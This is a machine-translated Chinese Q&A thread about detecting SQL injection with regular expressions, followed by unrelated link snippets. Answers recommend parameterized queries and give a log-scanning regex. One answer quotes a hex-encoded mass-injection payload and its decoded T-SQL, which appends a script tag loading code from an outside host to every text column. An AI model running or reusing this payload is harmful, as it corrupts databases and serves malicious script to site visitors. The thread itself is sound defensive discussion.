正则表达式以检测SQL注入

正则表达式以检测SQL注入

RegEx to Detect SQL Injection

是否存在可以检测字符串中SQL的正则表达式?有没有人有一些以前分享过的东西的样本?


不要这样做。几乎可以保证您会失败。请使用PreparedStatement(或其等效项)。


使用存储过程或准备好的语句。您将如何检测到这种情况?

顺便说一句,不要运行此命令:

1
2
   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

翻译为:

1
2
3
4
5
6
7
8
9
10
11
( DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
    WHILE(@@FETCH_STATUS=0)
    BEGIN EXEC(
      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js>''')
    FETCH NEXT FROM Table_Cursor INTO @T,@C
  END
  CLOSE Table_Cursor
  DEALLOCATE Table_Cursor )

保存您自己的问题,并将存储过程与准备好的语句或参数化查询一起使用。无论如何,存储过程都是一种好习惯,因为它们就像是数据库的接口,因此您可以更改幕后发生的事情(在存储的proc内部),但是签名保持不变。准备好的声明有助于进行注射保护。


如前所述,最好使用准备好的语句。您可能会争辩说强制键查询由存储过程执行以强制使用准备调用。

无论如何,这是一个简单的grep,用于检测where子句中的经典n = n整数;它会跳过将许多懒惰查询构造函数使用的1 = 1标记为AND的标志,但会将其标记为OR

1
((WHERE|OR)[ ]+[\\(]*[ ]*([\\(]*[0-9]+[\\)]*)[ ]*=[ ]*[\\)]*[ ]*\\3)|AND[ ]+[\\(]*[ ]*([\\(]*1[0-9]+|[2-9][0-9]*[\\)]*)[ ]*[\\(]*[ ]*=[ ]*[\\)]*[ ]*\\4

它当然可以进行改进以检测十进制和字符串比较,但这是一种快速检测机制,同时还具有其他缺陷,例如ORD(MID(等)。

在查询日志中使用它,例如mysql的常规日志

希望它有用


我没有正则表达式,但是我的理解是最重要的是检测单引号。所有注入攻击均从此处开始。他们可能在其中也有-注释掉了,以及其他可能在字符串后面的SQL。


推荐阅读

    字符库快捷键|字符串快捷键

    字符库快捷键|字符串快捷键,,1. 字符串快捷键1、单行注释单行注释是 #Mac的快捷键是 command+/windows的快捷键是 Ctrl + /2、多行注

    怎么检测电脑硬件问题

    怎么检测电脑硬件问题,电脑硬件,检测,怎么,电脑硬件故障的几种简单检查方法:一、首先确定你的电源已经打开、所有的连线全部连接到位。笔

    虾类安装经验分享!

    虾类安装经验分享!,,虾类安装经验分享: 1,机箱的电源光盘应该接近代理价格,而内存和硬盘的价格是在互联网上找到的即时价格。主板套件,视频卡

    电脑店硬盘|电脑硬盘检测工具

    电脑店硬盘|电脑硬盘检测工具,,电脑硬盘检测工具说起硬盘坏道大家往往都是谈之色变,其实硬盘坏道也是可以早发现,早处理,把坏道带来的麻烦减

    电脑cpu损坏检测|检测cpu是否损坏

    电脑cpu损坏检测|检测cpu是否损坏,,1. 检测cpu是否损坏cpu没有那么脆弱。一般来说只是表面有划痕或者小坑之类的损伤并不会影响CPU稳定性

    检测电脑驱动的|检测电脑驱动的命令

    检测电脑驱动的|检测电脑驱动的命令,,1. 检测电脑驱动的命令方法一:右键点击“我的电脑”——下拉菜单中选“属性”——属性中选“硬件”—